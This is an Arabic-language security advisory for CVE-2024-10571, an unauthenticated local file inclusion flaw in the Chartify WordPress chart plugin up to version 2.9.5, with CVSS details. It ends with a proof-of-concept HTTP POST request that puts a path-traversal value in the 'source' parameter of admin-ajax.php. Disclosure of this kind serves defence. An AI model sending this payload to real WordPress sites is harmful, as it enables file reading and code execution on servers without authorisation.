CVE-2024-10571

Chartify – إضافة ووردبريس للرسوم البيانية <= 2.9.5 - تضمين ملفات محلي غير مصادق عليه عبر المصدر

الوصف

إضافة Chartify – WordPress Chart Plugin لووردبريس تعاني من ثغرة تضمين ملفات محلي (Local File Inclusion) في جميع الإصدارات حتى 2.9.5 شاملة عبر معامل 'source'. يمكن للمهاجمين غير الموثَّقين تضمين وتنفيذ ملفات عشوائية على الخادم، مما يسمح بتنفيذ أي كود PHP في تلك الملفات. يمكن استخدام ذلك لتجاوز ضوابط الوصول، الحصول على بيانات حساسة، أو تحقيق تنفيذ كود في الحالات التي يمكن فيها رفع وتضمين ملفات الصور وأنواع ملفات "آمنة" أخرى.

التفاصيل

• النوع: plugin
• الاسم الثابت (slug): chart-builder
• الإصدار المتأثر: 2.9.5
• درجة CVSS: 9.8
• تصنيف CVSS: حرج
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-10571
• الحالة: نشط

POC

POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../../../var/www/html/poc&type=chart-js HTTP/1.1
Host: wp.local
Content-Length: 63
Content-Type: application/x-www-form-urlencoded

action=ays_chart_admin_ajax&function=display_plugin_charts_page